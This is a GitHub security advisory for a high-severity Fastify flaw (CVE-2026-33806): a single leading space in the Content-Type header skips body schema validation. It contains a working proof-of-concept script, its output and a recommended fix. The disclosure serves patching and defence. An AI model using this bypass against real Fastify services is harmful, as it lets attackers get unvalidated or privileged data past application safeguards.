GitHub Advisoryadvisory · npm

GHSA-247c-9743-5963 Fastify has a Body Schema Validation Bypass via Leading Space in Content-Type Header

HIGH Published 2026-04-15 Modified 2026-04-24 Official page ↗
Aliases
CVE-2026-33806
Ecosystem
npm
Packages
fastify
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Weaknesses
CWE-1287
Reviewed
2026-04-15

Affected packages

• npm fastify: >= 5.3.2, < 5.8.5 → fixed in 5.8.5

Description

Summary A validation bypass vulnerability exists in Fastify v5.x where request body validation schemas specified via `schema.body.content` can be completely circumvented by prepending a single space character (`\x20`) to the `Content-Type` header. The body is still parsed correctly as JSON (or any other content type), but schema validation is entirely skipped. This is a regression introduced by commit `f3d2bcb` (fix for CVE-2025-32442). Details The vulnerability is a parser-validator differential between two independent code paths that process the raw `Content-Type` header differently. Parser path (`lib/content-type.js`, line ~67) applies `trimStart()` before processing: ```js const type = headerValue.slice(0, sepIdx).trimStart().toLowerCase() // ' application/json' → trimStart() → 'application/json' → body is parsed ✓ ``` Validator path (`lib/validation.js`, line 272) splits on `/[ ;]/` before trimming: ```js function getEssenceMediaType(header) { if (!header) return '' return header.split(/[ ;]/, 1)[0].trim().toLowerCase() } // ' application/json'.split(/[ ;]/, 1) → [''] (splits on the leading space!) // ''.trim() → '' // context[bodySchema][''] → undefined → NO validator found → validation skipped! ``` The `ContentType` class applies `trimStart()` before processing, so the parser correctly identifies `application/json` and parses the body. However, `getEssenceMediaType` splits on `/[ ;]/` before trimming, so the leading space becomes a split point, producing an empty string. The validator looks up a schema for content-type `""`, finds nothing, and skips validation entirely. Regression source: Commit `f3d2bcb` (April 18, 2025) changed the split delimiter from `';'` to `/[ ;]/` to fix CVE-2025-32442. The old code (`header.split(';', 1)[0].trim()`) was not vulnerable to this vector because `.trim()` would correctly handle the leading space. The new regex-based split introduced the regression. PoC ```js const fastify = require('fastify')({ logger: false }); fastify.post('/transfer', { schema: { body: { content: { 'application/json': { schema: { type: 'object', required: ['amount', 'recipient'], properties: { amount: { type: 'number', maximum: 1000 }, recipient: { type: 'string', maxLength: 50 }, admin: { type: 'boolean', enum: [false] } }, additionalProperties: false } } } } } }, async (request) => { return { processed: true, data: request.body }; }); (async () => { await fastify.ready(); // BLOCKED — normal request with invalid payload const res1 = await fastify.inject({ method: 'POST', url: '/transfer', headers: { 'content-type': 'application/json' }, payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true }) }); console.log('Normal:', res1.statusCode); // → 400 FST_ERR_VALIDATION // BYPASS — single leading space const res2 = await fastify.inject({ method: 'POST', url: '/transfer', headers: { 'content-type': ' application/json' }, payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true }) }); console.log('Leading space:', res2.statusCode); // → 200 (validation bypassed!) console.log('Body:', res2.body); await fastify.close(); })(); ``` Output: ``` Normal: 400 Leading space: 200 Body: {"processed":true,"data":{"amount":9999,"recipient":"EVIL","admin":true}} ``` Impact Any Fastify application that relies on schema.body.content (per-content-type body validation) to enforce data integrity or security constraints is affected. An attacker can bypass all body validation by adding a single space before the Content-Type value. The attack requires no authentication and has zero complexity — it is a single-character modification to an HTTP header. This vulnerability is distinct from all previously patched content-type bypasses: CVE | Vector | Patched in 5.8.4? -- | -- | -- CVE-2025-32442 | Casing / semicolon whitespace | ✅ Yes CVE-2026-25223 | Tab character (\t) | ✅ Yes CVE-2026-3419 | Trailing garbage after subtype | ✅ Yes This finding | Leading space (\x20) | ❌ No Recommended fix — add `trimStart()` before the split in `getEssenceMediaType`: ```js function getEssenceMediaType(header) { if (!header) return '' return header.trimStart().split(/[ ;]/, 1)[0].trim().toLowerCase() } ```

Related

Alias · CVE (1)

  • CVE-2026-33806 Impact: Fastify applications using schema.body.content for per-content-type body validation can have validation bypassed entirely by… vulnerability

Weakness · CWE (1)

  • CWE-1287 Improper Validation of Specified Type of Input weakness

References